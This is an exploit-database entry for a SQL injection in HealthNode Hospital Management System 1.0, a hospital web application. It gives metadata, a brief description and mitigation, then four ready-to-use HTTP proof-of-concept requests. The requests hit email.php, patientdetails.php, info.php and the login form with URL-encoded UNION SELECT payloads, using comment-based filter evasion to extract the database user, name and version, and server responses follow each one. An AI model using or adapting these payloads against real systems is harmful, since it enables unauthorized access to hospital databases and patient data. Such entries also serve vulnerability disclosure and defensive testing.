HealthNode Hospital Management System 1.0 - SQL Injection

vendor:

HealthNode Hospital Management System

by:

Ihsan Sencan

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: HealthNode Hospital Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sunriseservices:healthnode_hospital_management_system:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2019

HealthNode Hospital Management System 1.0 – SQL Injection

HealthNode Hospital Management System 1.0 is vulnerable to SQL Injection. An attacker can exploit this vulnerability to gain access to sensitive information stored in the database. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'username' parameter of the 'email.php' script. An attacker can send a specially crafted HTTP request with malicious SQL statements to the vulnerable script and execute arbitrary SQL commands in the back-end database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: HealthNode Hospital Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://sunriseservices.biz/
# Software Link: https://codecanyon.net/item/healthnode-hospital-management-system/22368747
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/email.php
# 

POST /[PATH]/email.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=%27 /*!11111uniOn*/ /*!11111selEct*/ %31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d&submit=: undefined
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:50:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/dashboard/Patient/patientdetails.php?id=[SQL]
# 

GET /[PATH]/dashboard/Patient/patientdetails.php?id=-11%2d%31%31%27%20%2f%2a%21%31%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%31%2c%32%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:59:44 GMT
Server: Apache
Content-Length: 26036
Connection: close
Content-Type: text/html; charset=UTF-8


# POC: 
# 3)
# http://localhost/[PATH]/dashboard/Patient/info.php?id=[SQL]
# 

GET /[PATH]/dashboard/Patient/info.php?id=%2d%31%31%27%20%2f%2a%21%31%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%31%2c%32%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:57:32 GMT
Server: Apache
Content-Length: 26405
Connection: close
Content-Type: text/html; charset=UTF-8

# POC: 
# 4)
# http://localhost/[PATH]//
# 

POST /[PATH]/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=%2d%27%20%2f%2a%21%31%31%31%31%31%75%6e%69%4f%6e%2a%2f%20%2f%2a%21%31%31%31%31%31%73%65%4c%65%63%74%2a%2f%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%56%65%72&password=%27&login=: undefined
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:46:13 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8